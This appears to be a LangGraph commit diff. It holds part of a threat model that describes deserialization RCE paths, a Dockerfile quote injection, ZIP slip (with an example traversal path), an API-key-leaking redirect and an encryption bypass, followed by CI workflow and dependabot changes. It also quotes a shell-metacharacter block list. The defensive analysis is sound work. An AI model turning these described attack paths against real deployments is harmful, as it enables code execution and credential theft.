#### DF11: Checkpoint Storage -> BaseCache
- **Data**: Cached task results stored via `BaseCache.set()` and retrieved via `BaseCache.get()`.
- **Validation**: Uses `JsonPlusSerializer(pickle_fallback=False)` by default (`libs/checkpoint/langgraph/cache/base/__init__.py:BaseCache`). Subject to same msgpack deserialization behavior as DF1 (allowed_modules defaults based on `LANGGRAPH_STRICT_MSGPACK`).
- **Trust assumption**: Cache storage has same access controls as checkpoint storage.
#### DF12-13: Server -> SDK -> Redirect Target (API Key Leak)
- **Data**: Server provides `Location` header in HTTP response. SDK follows the redirect and sends all original request headers (including `x-api-key`) to the target URL.
- **Validation**: **None** on Location URL. No allowlist, no same-origin check, no header stripping on cross-origin redirect.
- **Trust assumption**: The LangGraph Server is trusted to not redirect to malicious URLs. Violated if server is compromised.
#### DF14: Pregel State -> ToolNode (Runtime Injection)
- **Data**: Graph state dict (InjectedState), BaseStore instance (InjectedStore), ToolRuntime object (containing state, config, store, context, stream_writer, tool_call_id).
- **Validation**: Injection targets determined by tool type annotations at compile time. Injected values overwrite any LLM-provided values with matching keys (safe merge order). Pydantic validation on tool input drops extra keys not in the tool's declared schema.
- **Trust assumption**: System-injected values are trusted; LLM-provided values cannot interfere due to merge order guarantees.
#### DF15: Developer Code -> SDK Encryption Handlers
- **Data**: Async Python callables registered via decorators for blob/JSON encryption/decryption and context derivation.
- **Validation**: `_validate_handler` checks async-ness and 2-param signature for encrypt/decrypt handlers. `DuplicateHandlerError` prevents double registration. **Gap**: `Encryption.context()` method does NOT call `_validate_handler` — a sync function or wrong param count passes registration and fails only at server-side invocation (`libs/sdk-py/langgraph_sdk/encryption/__init__.py:Encryption.context`).
- **Trust assumption**: Handler authors are application developers with server-level trust.
---
## Threats
| ID | Data Flow | Classification | Threat | Boundary | Severity | Validation | Code Reference |
|----|-----------|----------------|--------|----------|----------|------------|----------------|
| T1 | DF1, DF11 | DC3 | Arbitrary code execution via msgpack deserialization when strict mode is OFF (default) | TB2 | High | Verified | `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_create_msgpack_ext_hook` |
| T2 | DF1 | DC3 | Arbitrary code execution via `pickle.loads` when `pickle_fallback=True` | TB2 | High | Verified | `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer.loads_typed` |
| T3 | DF1 | DC3 | Arbitrary module import/execution via JSON `lc:2` constructor when `allowed_json_modules=True` | TB2 | High | Verified | `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer._revive_lc2` |
| T4 | DF5 | — | Unvalidated dict-splatting from remote API into `Interrupt`/`Command` objects | TB3 | Medium | Likely | `libs/langgraph/langgraph/pregel/remote.py:RemoteGraph.stream` |
| T5 | DF6, DF7 | — | Dockerfile ENV injection via single-quote in `langgraph.json` config values | TB4 | Low | Likely | `libs/cli/langgraph_cli/config.py:python_config_to_docker` |
| T6 | DF7 | — | ZIP slip in `langgraph new` template extraction | TB4 | Low | Unverified | `libs/cli/langgraph_cli/templates.py:_download_repo_with_requests` |
| T7 | DF10 | DC2 | AES key entropy limited to printable characters via env var string encoding | TB2 | Info | — | `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.from_pycryptodome_aes` |
| T8 | DF10 | DC2 | EncryptedSerializer cipher name check uses `assert` (stripped with `python -O`) | TB2 | Low | Verified | `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:PycryptodomeAesCipher.decrypt` |
| T9 | DF12, DF13 | DC1 | SDK API key leak via server-controlled Location redirect to attacker-controlled URL | TB3 | Medium | Verified | `libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.request_reconnect`, `libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.stream` |
| T10 | DF1 | DC3 | EncryptedSerializer silently accepts unencrypted data — attacker bypasses encryption by writing plain type tags | TB2 | Medium | Verified | `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.loads_typed` |
| T11 | DF1, DF11 | DC3, DC6 | Unbounded retention of checkpoint data containing PII/conversation history | TB2 | Medium | — | `libs/checkpoint/langgraph/checkpoint/base/__init__.py:BaseCheckpointSaver` |
### Threat Details
#### T1: Msgpack Deserialization RCE (Default Config)
- **Flow**: DF1 (Checkpoint Storage -> JsonPlusSerializer), DF11 (Checkpoint Storage -> BaseCache)
- **Description**: When `LANGGRAPH_STRICT_MSGPACK` is not set (the default), the msgpack `_create_msgpack_ext_hook` allows **any** `(module, class)` pair stored in checkpoint data to be imported via `importlib.import_module` and instantiated with attacker-controlled arguments. The `SAFE_MSGPACK_TYPES` allowlist (47 entries) is checked first, but unregistered types are logged as warnings and allowed through when `allowed_modules=True` (the default when strict mode is off). Seven EXT codes are processed: `EXT_CONSTRUCTOR_SINGLE_ARG` (0), `EXT_CONSTRUCTOR_POS_ARGS` (1), `EXT_CONSTRUCTOR_KW_ARGS` (2), `EXT_METHOD_SINGLE_ARG` (3), `EXT_PYDANTIC_V1` (4), `EXT_PYDANTIC_V2` (5), `EXT_NUMPY_ARRAY` (6). The `BaseCache` component uses `JsonPlusSerializer(pickle_fallback=False)` but inherits the same msgpack `allowed_modules` default behavior. The proposed `RestrictedUnpickler` (`secure_pickle.py`) documented in `SECURITY_FIX_SUMMARY.md` was never merged — pickle remains unrestricted when enabled.
- **Preconditions**: Attacker must have write access to the checkpoint database (PostgreSQL or SQLite). This requires compromised database credentials or a co-located attacker.
#### T2: Pickle Deserialization RCE
- **Flow**: DF1 (Checkpoint Storage -> JsonPlusSerializer)
- **Description**: When `pickle_fallback=True` is explicitly passed to `JsonPlusSerializer`, checkpoint data with type tag `"pickle"` is deserialized via `pickle.loads()` with zero restrictions (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer.loads_typed`).
- **Preconditions**: (1) Application or checkpointer explicitly enables `pickle_fallback=True`. (2) Attacker writes `("pickle", <payload>)` to checkpoint storage.
#### T3: JSON lc:2 Constructor RCE
- **Flow**: DF1 (Checkpoint Storage -> JsonPlusSerializer)
- **Description**: The JSON `_reviver` handles `lc:2` type constructors by importing the module path from checkpoint JSON data via `importlib.import_module` (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer._revive_lc2`). If `allowed_json_modules=True` (explicit opt-in), any module reachable in the Python environment can be imported and instantiated. The method also supports method chaining — a `method` key in the JSON can call arbitrary methods on the imported class.
- **Preconditions**: (1) `allowed_json_modules` set to `True` (not the default). (2) Attacker writes crafted JSON to checkpoint storage.
#### T4: RemoteGraph Unvalidated Inbound Data
- **Flow**: DF5 (RemoteGraph -> Pregel)
- **Description**: Stream events from the remote LangGraph Server are deserialized from JSON and dict-splatted into `Interrupt(**i)` and `Command(**chunk.data)` without schema validation (`libs/langgraph/langgraph/pregel/remote.py:RemoteGraph.stream`). A compromised or malicious remote server can inject unexpected fields. `Command.update` can carry arbitrary state modifications; `Command.goto` can alter graph execution flow. `Interrupt` accepts `**deprecated_kwargs` which includes a `ns` parameter that can override interrupt ID generation via `xxh3_128_hexdigest`.
- **Preconditions**: User connects `RemoteGraph` to a compromised or attacker-controlled server URL.
#### T5: Dockerfile ENV Single-Quote Injection
- **Flow**: DF6, DF7 (langgraph.json -> CLI -> Dockerfile)
- **Description**: Config values from `langgraph.json` are serialized via `json.dumps()` and embedded in single-quoted `ENV` directives across multiple config sections (store, auth, encryption, http, webhooks, checkpointer, ui, ui_config, graphs). JSON does not escape single quotes, so a config value containing `'` could break the Dockerfile syntax or inject additional Dockerfile instructions. The pattern is duplicated in two Dockerfile generation functions (`libs/cli/langgraph_cli/config.py:python_config_to_docker` and `libs/cli/langgraph_cli/config.py:node_config_to_docker`).
- **Preconditions**: A `langgraph.json` config value contains a single quote character.
#### T6: ZIP Slip in Template Extraction
- **Flow**: DF7 (CLI template download)
- **Description**: `langgraph new` downloads a ZIP from GitHub and uses `zip_file.extractall(path)`. If the archive contains path-traversal entries (e.g., `../../etc/cron.d/exploit`), files could be written outside the target directory.
- **Preconditions**: The GitHub-hosted template archive must contain malicious path entries. This requires compromise of the upstream template repo.
#### T7: AES Key Entropy via Environment Variable
- **Flow**: DF10 (User config -> EncryptedSerializer)
- **Description**: The AES key is loaded from `LANGGRAPH_AES_KEY` as a UTF-8 string and `.encode()`d to bytes (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.from_pycryptodome_aes`). This limits key entropy to printable characters (~6.57 bits/byte vs. 8 bits/byte for random bytes), reducing effective key strength for AES-128 from 128 bits to ~105 bits.
- **Preconditions**: User relies on environment variable path for key loading (vs. passing raw bytes directly via `key=` parameter).
#### T8: EncryptedSerializer Assert Bypass
- **Flow**: DF10 (Encrypted checkpoint data)
- **Description**: The cipher name check in `decrypt()` uses `assert ciphername == "aes"` (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:PycryptodomeAesCipher.decrypt`), which is stripped when Python runs with `-O` (optimize) flag. The `ciphername` value comes from the type tag in checkpoint storage (split from the `type+cipher` format).
- **Preconditions**: Python running with `-O` flag AND attacker can write to checkpoint storage.
#### T9: SDK API Key Leak via Server-Controlled Location Redirect
- **Flow**: DF12 (Server -> SDK), DF13 (SDK -> Redirect target)
- **Description**: The SDK's `HttpClient.request_reconnect()` (`libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.request_reconnect`) follows server-provided `Location` headers and forwards the full `request_headers` dict (including the `x-api-key` authentication header) to the redirected URL. The `HttpClient.stream()` method (`libs/sdk-py/langgraph_sdk/_async/http.py:HttpClient.stream`) also follows `Location` headers for SSE reconnection and forwards `reconnect_headers` (which include `x-api-key`) to the server-controlled URL. No URL validation, same-origin check, or sensitive header stripping is performed before following the redirect. The same pattern exists in the sync client (`libs/sdk-py/langgraph_sdk/_sync/http.py`).
- **Preconditions**: (1) User connects SDK to a LangGraph Server that is compromised or attacker-controlled. (2) The server returns a response with a `Location` header pointing to an attacker-controlled URL.
#### T10: EncryptedSerializer Encryption Bypass via Unencrypted Data Injection
- **Flow**: DF1 (Checkpoint Storage -> EncryptedSerializer)
- **Description**: `EncryptedSerializer.loads_typed()` (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer.loads_typed`) checks if the type tag contains a `+` delimiter. If it does not (e.g., type tag is `"msgpack"` instead of `"msgpack+aes"`), the data is passed directly to the inner serde's `loads_typed()` **without any decryption or MAC verification**. An attacker with write access to checkpoint storage can bypass the encryption layer entirely by writing data with a plain type tag.
- **Preconditions**: (1) Application uses `EncryptedSerializer` for checkpoint protection. (2) Attacker has write access to checkpoint storage.
#### T11: Unbounded Checkpoint Data Retention
- **Flow**: DF1, DF11 (Checkpoint Storage lifecycle)
- **Description**: Checkpoint data (DC3, DC6) is retained indefinitely by default. No built-in TTL, pruning, or data lifecycle management in the library-level checkpoint savers. Conversation history containing user PII may accumulate without bounds.
- **Preconditions**: Application uses checkpointing (the primary use case). No explicit cleanup configured.
---
## Input Source Coverage
| Input Source | Data Flows | Threats | Validation Points | Responsibility | Gaps |
|-------------|-----------|---------|-------------------|----------------|------|
| User direct input (graph state, config) | DF8 | — | Graph structure validation (`libs/langgraph/langgraph/pregel/_validate.py:validate_graph`), channel type enforcement (`libs/langgraph/langgraph/channels/base.py:BaseChannel`), sensitive key filtering (`libs/langgraph/langgraph/_internal/_config.py:_exclude_as_metadata`) | User | Node implementation safety is user's responsibility |
| LLM output (tool calls) | DF3, DF4, DF14 | — | Tool name allowlist (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._validate_tool_call`), tool Pydantic schemas, injection merge order (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args`), `tool_call_schema` filtering of injected params | Shared (project validates name and injection safety; user validates args via tool schema) | No ToolNode-level argument sanitization beyond injection overwrite |
| Checkpoint storage data | DF1, DF2, DF11 | T1, T2, T3, T10 | Msgpack allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_TYPES` — 47 entries), msgpack method allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_METHODS`), JSON allowlist (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_check_allowed_json_modules`), pickle gating, serde event hooks, optional encryption | Shared (project owns serializer defaults; user owns DB access controls) | Default msgpack mode allows unregistered types; EncryptedSerializer accepts unencrypted data; proposed secure_pickle.py never merged |
| Remote API responses | DF5, DF9, DF12, DF13 | T4, T9 | Outbound config sanitization (`libs/langgraph/langgraph/pregel/remote.py:_sanitize_config`); no inbound validation; no redirect URL validation | User (user chooses which server to trust) | No inbound schema validation; API key forwarded on redirects |
| Configuration (langgraph.json) | DF6, DF7 | T5 | JSON schema validation (`libs/cli/langgraph_cli/config.py:validate_config_file`), build command content validation (`libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content`), list-based subprocess args, WebhookUrlPolicy (`libs/cli/langgraph_cli/schemas.py:WebhookUrlPolicy`) | User (developer-controlled file) | Single-quote not escaped in ENV embedding |
| Configuration (env vars) | DF10 | T7, T8 | AES key length validation, EAX MAC verification | User (deployer controls env) | Key entropy, assert-based check |
| Developer encryption handlers | DF15 | — | Handler signature validation (`libs/sdk-py/langgraph_sdk/encryption/__init__.py:_validate_handler`), duplicate prevention | User (developer-authored code) | `context()` handler missing `_validate_handler` call |
---
## Out-of-Scope Threats
Threats that appear valid in isolation but fall outside project responsibility because they depend on conditions the project does not control.
| Pattern | Why Out of Scope | Project Responsibility Ends At |
|---------|-----------------|-------------------------------|
| Prompt injection leading to arbitrary tool execution | Project does not control LLM model behavior, user prompt construction, or which tools are registered. ToolNode routes by name only to user-registered tools. | Providing tool name allowlist routing (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._validate_tool_call`); user owns tool registration and argument handling |
| State poisoning via malicious node output | User-registered nodes (including `@task`-decorated functions) can write arbitrary values to channels. The framework executes nodes as provided. | Enforcing channel type contracts (`libs/langgraph/langgraph/channels/base.py:BaseChannel.update`); user owns node implementation correctness |
| Cross-session state access via thread_id guessing | Checkpoint savers index by `thread_id`. Without application-level auth, any caller with a valid thread_id can access that thread's state. | Providing the `Auth` handler system for access control (`libs/sdk-py/langgraph_sdk/auth/__init__.py:Auth`); user must implement auth handlers |
| Tool shadowing via duplicate registration | If a user registers two tools with the same name, ToolNode uses the last one. This is user misconfiguration. | Documenting tool registration semantics |
| Indirect prompt injection via tool output | LLM reads tool output and may follow injected instructions. This is a fundamental LLM limitation, not a framework vulnerability. | Not including tool output in system prompts; user owns output handling |
| Model selecting dangerous tool arguments | An LLM may generate SQL injection, path traversal, or command injection payloads as tool arguments. The risk depends entirely on what the user's tools do with those arguments. | Routing tool calls to registered tools only; user owns tool input validation |
| RCE via user-provided node code | `add_node()` and `@entrypoint`/`@task` accept arbitrary callables. A malicious node can do anything. This is by design — the user controls their own code. | Executing nodes within the graph runtime; user owns node code safety |
| SSRF via RemoteGraph URL | User provides the `url` parameter to `RemoteGraph`. Pointing it at an internal service is the user's decision. | Documenting that `url` should be a trusted endpoint; user owns URL selection |
| Malicious SDK Encryption handler | Encryption handlers are developer-authored server-side code. A malicious handler has full process access, equivalent to any application code. | Validating handler signature (async, param count); handler behavior is the developer's responsibility |
### Rationale
**Prompt injection and tool execution**: LangGraph's `ToolNode` validates tool names against the registered set but does not inspect or sanitize argument values. This is the correct boundary — the framework cannot know what constitutes a "safe" argument for an arbitrary user-defined tool. The tool's own Pydantic schema and implementation must validate inputs. The framework's responsibility is to not execute unregistered tools and to correctly route registered ones. The injection system (InjectedState/InjectedStore/ToolRuntime) is safe because system-injected values always overwrite LLM-supplied collisions via dict merge order, and injected parameter names are hidden from the LLM's tool schema.
**State integrity**: LangGraph channels enforce type contracts (e.g., `LastValue` accepts one value per step, `BinaryOperatorAggregate` applies a reducer). The framework validates graph structure at compile time (`libs/langgraph/langgraph/pregel/_validate.py:validate_graph`). However, the semantic correctness of state updates is the user's responsibility — the framework cannot know what values are "valid" for a user-defined state schema.
**Checkpoint access control**: The framework provides `BaseCheckpointSaver` as an abstract interface and the `Auth` handler system for authorization (`libs/sdk-py/langgraph_sdk/auth/__init__.py:Auth`). It does not enforce authentication by default because it operates as a library, not a server. The `langgraph-api` server layer (out of scope) is responsible for enforcing auth on API endpoints. Users embedding LangGraph directly must implement their own access controls.
**Encryption handler safety**: The SDK Encryption module (`libs/sdk-py/langgraph_sdk/encryption/`) provides a registration framework for developer-authored encryption handlers. These handlers run server-side with full process access, identical to any application code. A buggy or malicious handler could return crafted data, but this is the same trust model as any developer-written code. The SDK validates handler shape (async, 2-param) but not handler behavior — this is the correct boundary for developer-trust-level code.
---
## Investigated and Dismissed
| ID | Original Threat | Investigation | Evidence | Conclusion |
|----|----------------|---------------|----------|------------|
| D1 | SQL injection via filter keys in PostgreSQL store | Traced filter key handling through `libs/checkpoint-postgres/langgraph/store/postgres/base.py:_get_filter_condition`. All filter operations use parameterized queries with `%s` placeholders. Keys map to `json_extract` path operators with type-safe wrappers. | `libs/checkpoint-postgres/langgraph/store/postgres/base.py:_get_filter_condition` — parameterized `%s` for all value bindings; key names used in `value->%s` path expressions are also parameterized | Disproven: All SQL operations in PostgreSQL store are fully parameterized. No injection vector. |
| D2 | SQL injection via filter keys in SQLite store (post-fix) | Traced current filter handling through `libs/checkpoint-sqlite/langgraph/store/sqlite/base.py` and `libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py:_validate_filter_key`. Regex `^[a-zA-Z0-9_.-]+$` applied to all filter keys before use in `json_extract()` expressions. | `libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py:_validate_filter_key` — regex validation blocks injection characters. Published advisories GHSA-9rwj-6rc7-p77c and GHSA-7p73-8jqx-23r8 confirmed fixed. | Disproven: SQL injection in SQLite store filter keys is remediated by regex validation. |
| D3 | Command injection via CLI subprocess execution | Traced CLI subprocess invocation path. `libs/cli/langgraph_cli/exec.py:subp_exec` uses `asyncio.create_subprocess_exec` with list-based arguments (not `shell=True`). `has_disallowed_build_command_content` blocks shell metacharacters in user-provided Dockerfile lines. | `libs/cli/langgraph_cli/exec.py:subp_exec` — explicit exec-style invocation; `libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content` — regex blocks `\|`, `;`, `$`, `>`, `<`, backtick, `\`, single `&` | Disproven: CLI uses exec-style subprocess and validates build command content. No shell injection vector. |
| D4 | Tool argument injection via InjectedState/InjectedStore dict-splatting | Investigated whether LLM-generated tool call arguments could override system-injected values (InjectedState, InjectedStore, ToolRuntime) via key collision in the dict merge at `libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args` line 1380. Traced four independent defense layers. | (1) `tool_call_schema` at langchain-core `base.py` filters injected params from LLM schema. (2) `{**llm_args, **injected_args}` merge puts system values last — system wins on collision. (3) Pydantic `model_validate` with `extra="ignore"` drops unknown keys. (4) Output construction at `base.py` only includes declared model fields. | Disproven: Four-layer defense prevents LLM arguments from overriding system-injected values. Merge order guarantees system values win. No adversarial collision path exists. |
---
## External Context
### Published Security Advisories
| GHSA ID | Severity | Summary | CWEs | Relevance |
|---------|----------|---------|------|-----------|
| GHSA-g48c-2wqr-h844 | Medium | Unsafe msgpack deserialization in LangGraph checkpoint loading | — | Directly relates to T1 — patched in 1.0.10, confirms attack path via crafted msgpack payloads |
| GHSA-mhr3-j7m5-c7c9 | Medium | BaseCache Deserialization RCE | CWE-502 | Directly relates to T1 — msgpack deserialization in cache layer |
| GHSA-9rwj-6rc7-p77c | High | SQL injection via metadata filter key in SQLite checkpointer | CWE-89 | Fixed via `_validate_filter_key()` regex — see D2 |
| GHSA-wwqv-p2pp-99h5 | High | RCE in JSON mode of JsonPlusSerializer | CWE-502 | Directly relates to T3 — `lc:2` constructor import |
| GHSA-7p73-8jqx-23r8 | High | SQLite Filter Key SQL Injection in SqliteStore | CWE-89 | Fixed via `_validate_filter_key()` regex — see D2 |
**Pattern**: 3 of 5 published advisories involve CWE-502 (insecure deserialization) in the checkpoint serialization layer. This confirms the checkpoint storage boundary (TB2) as the highest-risk area. The extensive closed advisory history (~15 deserialization bypass attempts) further validates this assessment. No new published advisories since the prior assessment (2026-03-27).
---
## Revision History
| Date | Author | Changes |
|------|--------|---------|
| 2026-03-04 | Generated | Initial threat model |
| 2026-03-04 | Updated | Added C13 (Functional API), C14 (BaseCache), DF11. Updated T1 for BaseCache/serde event hooks. Added GHSA-mhr3-j7m5-c7c9 and GHSA-9rwj-6rc7-p77c. Updated CLI config scope. Added External Context section. |
| 2026-03-27 | Deep refinement | **Mode upgraded to Deep.** Added: Data Classification section (DC1-DC8 with detailed analysis for Critical/High entries). Added: C15 (Serde Event Hooks), C16 (Auth System). Added: Default? column to Components. Added: Classification column to Data Flows. Added: DF12-DF13 (SDK redirect flows). Added: T9 (SDK API key leak via Location redirect), T10 (EncryptedSerializer encryption bypass), T11 (unbounded checkpoint retention). Added: Validation column to Threats with flaw validation for High/Critical. Added: Investigated and Dismissed section (D1-D3: SQL injection and CLI command injection disproven). Added: Input Source Coverage section. Updated external context with GHSA-g48c-2wqr-h844 (new published advisory). Updated all code references to file:SymbolName notation. Expanded trust boundary details. |
| 2026-03-30 | Diagram and Default? corrections | Fixed architecture diagram: merged "User Code" and "User-Registered Tools" into single "User Application Code" boundary; removed @entrypoint/@task as separate diagram elements (both compile to Pregel — authoring style, not separate component). Fixed Default? column: C3 ToolNode → No (explicit opt-in required); C8 CLI → No (separate install). |
| 2026-03-28 | Deep update | **Added:** C17 (SDK Encryption Handlers — beta at-rest encryption framework). DC9 (SDK Encryption context metadata). TB5 (SDK Encryption Handler boundary). DF14 (ToolRuntime injection flow), DF15 (Encryption handler registration flow). D4 (Tool argument injection via InjectedState dict-splatting — disproven with 4-layer defense evidence). **Updated:** C1 description (v1/v2 output, durability modes, interrupt_before/after). C2 description (SAFE_MSGPACK_TYPES now 47 entries including langchain_core messages, Document, GetOp). C3 description (InjectedState/InjectedStore/ToolRuntime injection support, _inject_tool_args entry point). C8 description (WebhookUrlPolicy for SSRF protection). TB1 details (tool injection merge order guarantees). TB2 details (47 safe types, updated allowlist composition). TB4 details (WebhookUrlPolicy). DF4 description (injection merge semantics). T1 details (noted secure_pickle.py proposed but never merged). T4 details (Interrupt deprecated_kwargs ns parameter). Input Source Coverage (LLM output row updated with injection validation points, encryption handler row added). Out-of-Scope Threats (malicious encryption handler pattern added). Commit updated to 0ba22143. External context confirmed no new published advisories. |
-35
View File
@@ -1,35 +0,0 @@
# Helper to set up Python and uv with caching
name: uv-install
description: Set up Python and uv with caching
inputs:
python-version:
description: Python version, supporting MAJOR.MINOR only
required: true
enable-cache:
description: Enable caching for uv dependencies
required: false
default: "true"
cache-suffix:
description: Custom cache key suffix for cache invalidation
required: false
default: ""
working-directory:
description: Working directory for cache glob scoping
required: false
default: "**"
runs:
using: composite
steps:
- name: Install uv and set the python version
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ inputs.python-version }}
enable-cache: ${{ inputs.enable-cache }}
cache-dependency-glob: |
${{ inputs.working-directory }}/pyproject.toml
${{ inputs.working-directory }}/uv.lock
${{ inputs.working-directory }}/requirements*.txt
cache-suffix: ${{ inputs.cache-suffix }}
+34 -111
View File
@@ -3,186 +3,109 @@ updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/checkpoint"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/checkpoint-conformance"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/checkpoint-postgres"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/checkpoint-sqlite"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/cli"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/langgraph"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/prebuilt"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "uv"
directory: "/libs/sdk-py"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "npm"
directory: "/libs/cli/js-examples"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
- package-ecosystem: "npm"
directory: "/libs/cli/js-monorepo-example"
schedule:
interval: "monthly"
interval: "weekly"
day: "monday"
groups:
minor-and-patch:
all-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
major:
patterns:
- "*"
update-types:
- "major"
+7 -6
View File
@@ -41,16 +41,17 @@ jobs:
- name: Get changed files
id: changed-files
if: github.event_name != 'workflow_dispatch'
uses: Ana06/get-changed-files@25f79e676e7ea1868813e21465014798211fad8c # v2.3.0
uses: Ana06/get-changed-files@v2.3.0
with:
filter: "libs/cli/**"
- name: Set up Python ${{ matrix.python-version }}
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
enable-cache: "false"
working-directory: libs/cli
enable-cache: true
cache-suffix: "cli-integration-test"
ignore-nothing-to-cache: true
- name: Install cli globally
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
run: pip install -e .
@@ -116,8 +117,8 @@ jobs:
timeout 60 python ../../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-h
echo "Finished starting up langgraph-test-h"
LANGGRAPH_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langgraph'); print(v);")
if [ "$LANGGRAPH_VERSION" != "1.1.2" ]; then
echo "LANGGRAPH_VERSION != 1.1.2; $LANGGRAPH_VERSION"
if [ "$LANGGRAPH_VERSION" != "1.0.8" ]; then
echo "LANGGRAPH_VERSION != 1.0.8; $LANGGRAPH_VERSION"
exit 1
fi
LANGCHAIN_OPENAI_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langchain-openai'); print(v);")
+3 -3
View File
@@ -35,16 +35,16 @@ jobs:
- name: Get changed files
id: changed-files
if: github.event_name != 'workflow_dispatch'
uses: Ana06/get-changed-files@25f79e676e7ea1868813e21465014798211fad8c # v2.3.0
uses: Ana06/get-changed-files@v2.3.0
with:
filter: "${{ inputs.working-directory }}/**"
- name: Set up Python ${{ matrix.python-version }}
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
enable-cache: true
cache-suffix: lint-${{ inputs.working-directory }}
working-directory: ${{ inputs.working-directory }}
- name: Install dependencies
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
+3 -3
View File
@@ -27,13 +27,13 @@ jobs:
steps:
- uses: actions/checkout@v6
- name: Set up Python ${{ matrix.python-version }}
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
enable-cache: true
cache-suffix: test-${{ inputs.working-directory }}
working-directory: ${{ inputs.working-directory }}
- name: Login to Docker Hub
uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4
uses: docker/login-action@v3
if: ${{ !github.event.pull_request.head.repo.fork }}
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
+3 -3
View File
@@ -25,13 +25,13 @@ jobs:
steps:
- uses: actions/checkout@v6
- name: Set up Python ${{ matrix.python-version }}
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
enable-cache: true
cache-suffix: "test-langgraph"
working-directory: libs/langgraph
- name: Login to Docker Hub
uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4
uses: docker/login-action@v3
if: ${{ !github.event.pull_request.head.repo.fork }}
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
+6 -6
View File
@@ -25,12 +25,12 @@ jobs:
steps:
- uses: actions/checkout@v6
- name: Set up Python ${{ env.PYTHON_VERSION }}
